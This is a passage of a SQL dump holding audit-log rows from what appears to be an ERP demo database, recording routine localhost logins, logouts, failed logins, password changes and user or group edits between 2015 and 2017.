Safari/537.22',NULL,NULL,NULL,NULL),(480,'2015-03-08 00:06:05','USER_LOGIN',1,'2015-03-08 01:06:05',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(481,'2015-03-08 01:38:13','USER_LOGIN',1,'2015-03-08 02:38:13',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(482,'2015-03-08 08:59:50','USER_LOGIN',1,'2015-03-08 09:59:50',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(483,'2015-03-09 12:08:51','USER_LOGIN',1,'2015-03-09 13:08:51',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(484,'2015-03-09 15:19:53','USER_LOGIN',1,'2015-03-09 16:19:53',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(495,'2015-03-09 18:06:21','USER_LOGIN',1,'2015-03-09 19:06:21',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(496,'2015-03-09 20:01:24','USER_LOGIN',1,'2015-03-09 21:01:24',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(497,'2015-03-09 23:36:45','USER_LOGIN',1,'2015-03-10 00:36:45',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(498,'2015-03-10 14:37:13','USER_LOGIN',1,'2015-03-10 15:37:13',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(499,'2015-03-10 17:54:12','USER_LOGIN',1,'2015-03-10 18:54:12',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(500,'2015-03-11 08:57:09','USER_LOGIN',1,'2015-03-11 09:57:09',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(501,'2015-03-11 22:05:13','USER_LOGIN',1,'2015-03-11 23:05:13',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(502,'2015-03-12 08:34:27','USER_LOGIN',1,'2015-03-12 09:34:27',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(503,'2015-03-13 09:11:02','USER_LOGIN',1,'2015-03-13 10:11:02',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(504,'2015-03-13 10:02:11','USER_LOGIN',1,'2015-03-13 11:02:11',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(505,'2015-03-13 13:20:58','USER_LOGIN',1,'2015-03-13 14:20:58',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(506,'2015-03-13 16:19:28','USER_LOGIN',1,'2015-03-13 17:19:28',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(507,'2015-03-13 18:34:30','USER_LOGIN',1,'2015-03-13 19:34:30',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(508,'2015-03-14 08:25:02','USER_LOGIN',1,'2015-03-14 09:25:02',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(509,'2015-03-14 19:15:22','USER_LOGIN',1,'2015-03-14 20:15:22',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(510,'2015-03-14 21:58:53','USER_LOGIN',1,'2015-03-14 22:58:53',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(511,'2015-03-14 21:58:59','USER_LOGOUT',1,'2015-03-14 22:58:59',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(512,'2015-03-14 21:59:07','USER_LOGIN',1,'2015-03-14 22:59:07',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(513,'2015-03-14 22:58:22','USER_LOGOUT',1,'2015-03-14 23:58:22',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(514,'2015-03-14 23:00:25','USER_LOGIN',1,'2015-03-15 00:00:25',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(515,'2015-03-16 12:14:28','USER_LOGIN',1,'2015-03-16 13:14:28',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(516,'2015-03-16 16:09:01','USER_LOGIN',1,'2015-03-16 17:09:01',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(517,'2015-03-16 16:57:11','USER_LOGIN',1,'2015-03-16 17:57:11',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(518,'2015-03-16 19:31:31','USER_LOGIN',1,'2015-03-16 20:31:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(519,'2015-03-17 17:44:39','USER_LOGIN',1,'2015-03-17 18:44:39',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(520,'2015-03-17 20:40:57','USER_LOGIN',1,'2015-03-17 21:40:57',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(521,'2015-03-17 23:14:05','USER_LOGIN',1,'2015-03-18 00:14:05',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(522,'2015-03-17 23:28:47','USER_LOGOUT',1,'2015-03-18 00:28:47',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(523,'2015-03-17 23:28:54','USER_LOGIN',1,'2015-03-18 00:28:54',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(524,'2015-03-18 17:37:30','USER_LOGIN',1,'2015-03-18 18:37:30',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(525,'2015-03-18 18:11:37','USER_LOGIN',1,'2015-03-18 19:11:37',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(526,'2015-03-19 08:35:08','USER_LOGIN',1,'2015-03-19 09:35:08',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(527,'2015-03-19 09:20:23','USER_LOGIN',1,'2015-03-19 10:20:23',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(528,'2015-03-20 13:17:13','USER_LOGIN',1,'2015-03-20 14:17:13',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(529,'2015-03-20 14:44:31','USER_LOGIN',1,'2015-03-20 15:44:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(530,'2015-03-20 18:24:25','USER_LOGIN',1,'2015-03-20 19:24:25',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(531,'2015-03-20 19:15:54','USER_LOGIN',1,'2015-03-20 20:15:54',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(532,'2015-03-21 18:40:47','USER_LOGIN',1,'2015-03-21 19:40:47',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(533,'2015-03-21 21:42:24','USER_LOGIN',1,'2015-03-21 22:42:24',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(534,'2015-03-22 08:39:23','USER_LOGIN',1,'2015-03-22 09:39:23',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(535,'2015-03-23 13:04:55','USER_LOGIN',1,'2015-03-23 14:04:55',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(536,'2015-03-23 15:47:43','USER_LOGIN',1,'2015-03-23 16:47:43',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(537,'2015-03-23 22:56:36','USER_LOGIN',1,'2015-03-23 23:56:36',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(538,'2015-03-24 01:22:32','USER_LOGIN',1,'2015-03-24 02:22:32',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(539,'2015-03-24 14:40:42','USER_LOGIN',1,'2015-03-24 15:40:42',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(540,'2015-03-24 15:30:26','USER_LOGOUT',1,'2015-03-24 16:30:26',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(541,'2015-03-24 15:30:29','USER_LOGIN',1,'2015-03-24 16:30:29',2,'(UserLogged,demo)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(542,'2015-03-24 15:49:40','USER_LOGOUT',1,'2015-03-24 16:49:40',2,'(UserLogoff,demo)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(543,'2015-03-24 15:49:48','USER_LOGIN',1,'2015-03-24 16:49:48',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(544,'2015-03-24 15:52:35','USER_MODIFY',1,'2015-03-24 16:52:35',1,'Modification utilisateur zzzg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(545,'2015-03-24 15:52:52','USER_MODIFY',1,'2015-03-24 16:52:52',1,'Modification utilisateur zzzg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(546,'2015-03-24 15:53:09','USER_MODIFY',1,'2015-03-24 16:53:09',1,'Modification utilisateur zzzg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(547,'2015-03-24 15:53:23','USER_MODIFY',1,'2015-03-24 16:53:23',1,'Modification utilisateur zzzg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(548,'2015-03-24 16:00:04','USER_MODIFY',1,'2015-03-24 17:00:04',1,'Modification utilisateur zzzg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(549,'2015-03-24 16:01:50','USER_MODIFY',1,'2015-03-24 17:01:50',1,'Modification utilisateur zzzg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(550,'2015-03-24 16:10:14','USER_MODIFY',1,'2015-03-24 17:10:14',1,'Modification utilisateur zzzg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(551,'2015-03-24 16:55:13','USER_LOGIN',1,'2015-03-24 17:55:13',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(552,'2015-03-24 17:44:29','USER_LOGIN',1,'2015-03-24 18:44:29',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22',NULL,NULL,NULL,NULL),(553,'2015-09-08 23:06:26','USER_LOGIN',1,'2015-09-09 01:06:26',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36',NULL,NULL,NULL,NULL),(554,'2015-10-21 22:32:28','USER_LOGIN',1,'2015-10-22 00:32:28',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.36',NULL,NULL,NULL,NULL),(555,'2015-10-21 22:32:48','USER_LOGIN',1,'2015-10-22 00:32:48',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.36',NULL,NULL,NULL,NULL),(556,'2015-11-07 00:01:51','USER_LOGIN',1,'2015-11-07 01:01:51',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.114 Safari/537.36',NULL,NULL,NULL,NULL),(557,'2016-03-02 15:21:07','USER_LOGIN',1,'2016-03-02 16:21:07',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36',NULL,NULL,NULL,NULL),(558,'2016-03-02 15:36:53','USER_LOGIN',1,'2016-03-02 16:36:53',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36',NULL,NULL,NULL,NULL),(559,'2016-03-02 18:54:23','USER_LOGIN',1,'2016-03-02 19:54:23',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36',NULL,NULL,NULL,NULL),(560,'2016-03-02 19:11:17','USER_LOGIN',1,'2016-03-02 20:11:17',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36',NULL,NULL,NULL,NULL),(561,'2016-03-03 18:19:24','USER_LOGIN',1,'2016-03-03 19:19:24',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36',NULL,NULL,NULL,NULL),(562,'2016-12-21 12:51:38','USER_LOGIN',1,'2016-12-21 13:51:38',1,'(UserLogged,admin) - TZ=1;TZString=CET;Screen=1920x969','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36',NULL,NULL,NULL,NULL),(563,'2016-12-21 19:52:09','USER_LOGIN',1,'2016-12-21 20:52:09',1,'(UserLogged,admin) - TZ=1;TZString=CET;Screen=1920x969','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36',NULL,NULL,NULL,NULL),(566,'2017-10-03 08:49:43','USER_NEW_PASSWORD',1,'2017-10-03 10:49:43',1,'Password change for admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(567,'2017-10-03 08:49:43','USER_MODIFY',1,'2017-10-03 10:49:43',1,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(568,'2017-10-03 09:03:12','USER_MODIFY',1,'2017-10-03 11:03:12',1,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(569,'2017-10-03 09:03:42','USER_MODIFY',1,'2017-10-03 11:03:42',1,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(570,'2017-10-03 09:07:36','USER_MODIFY',1,'2017-10-03 11:07:36',1,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(571,'2017-10-03 09:08:58','USER_NEW_PASSWORD',1,'2017-10-03 11:08:58',1,'Password change for pcurie','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(572,'2017-10-03 09:08:58','USER_MODIFY',1,'2017-10-03 11:08:58',1,'User pcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(573,'2017-10-03 09:09:23','USER_MODIFY',1,'2017-10-03 11:09:23',1,'User pcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(574,'2017-10-03 09:11:04','USER_NEW_PASSWORD',1,'2017-10-03 11:11:04',1,'Password change for athestudent','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(575,'2017-10-03 09:11:04','USER_MODIFY',1,'2017-10-03 11:11:04',1,'User athestudent modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(576,'2017-10-03 09:11:53','USER_MODIFY',1,'2017-10-03 11:11:53',1,'User abookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(577,'2017-10-03 09:42:12','USER_LOGIN_FAILED',1,'2017-10-03 11:42:11',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(578,'2017-10-03 09:42:19','USER_LOGIN_FAILED',1,'2017-10-03 11:42:19',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(579,'2017-10-03 09:42:42','USER_LOGIN_FAILED',1,'2017-10-03 11:42:42',NULL,'Bad value for login or password - login=aeinstein','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(580,'2017-10-03 09:43:50','USER_LOGIN',1,'2017-10-03 11:43:50',1,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x788','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(581,'2017-10-03 09:44:44','GROUP_MODIFY',1,'2017-10-03 11:44:44',1,'Group Sale representatives modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(582,'2017-10-03 09:46:25','GROUP_CREATE',1,'2017-10-03 11:46:25',1,'Group Management created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(583,'2017-10-03 09:46:46','GROUP_CREATE',1,'2017-10-03 11:46:46',1,'Group Scientists created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(584,'2017-10-03 09:47:41','USER_CREATE',1,'2017-10-03 11:47:41',1,'User mcurie created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(585,'2017-10-03 09:47:41','USER_NEW_PASSWORD',1,'2017-10-03 11:47:41',1,'Password change for mcurie','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(586,'2017-10-03 09:47:53','USER_MODIFY',1,'2017-10-03 11:47:53',1,'User mcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(587,'2017-10-03 09:48:32','USER_DELETE',1,'2017-10-03 11:48:32',1,'User bbb removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(588,'2017-10-03 09:48:52','USER_MODIFY',1,'2017-10-03 11:48:52',1,'User bookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(589,'2017-10-03 10:01:28','USER_MODIFY',1,'2017-10-03 12:01:28',1,'User bookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(590,'2017-10-03 10:01:39','USER_MODIFY',1,'2017-10-03 12:01:39',1,'User bookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(591,'2017-10-05 06:32:38','USER_LOGIN_FAILED',1,'2017-10-05 08:32:38',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(592,'2017-10-05 06:32:44','USER_LOGIN',1,'2017-10-05 08:32:44',1,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1590x767','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',NULL,NULL,NULL,NULL),(593,'2017-10-05 07:07:52','USER_CREATE',1,'2017-10-05 09:07:52',1,'User atheceo created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like 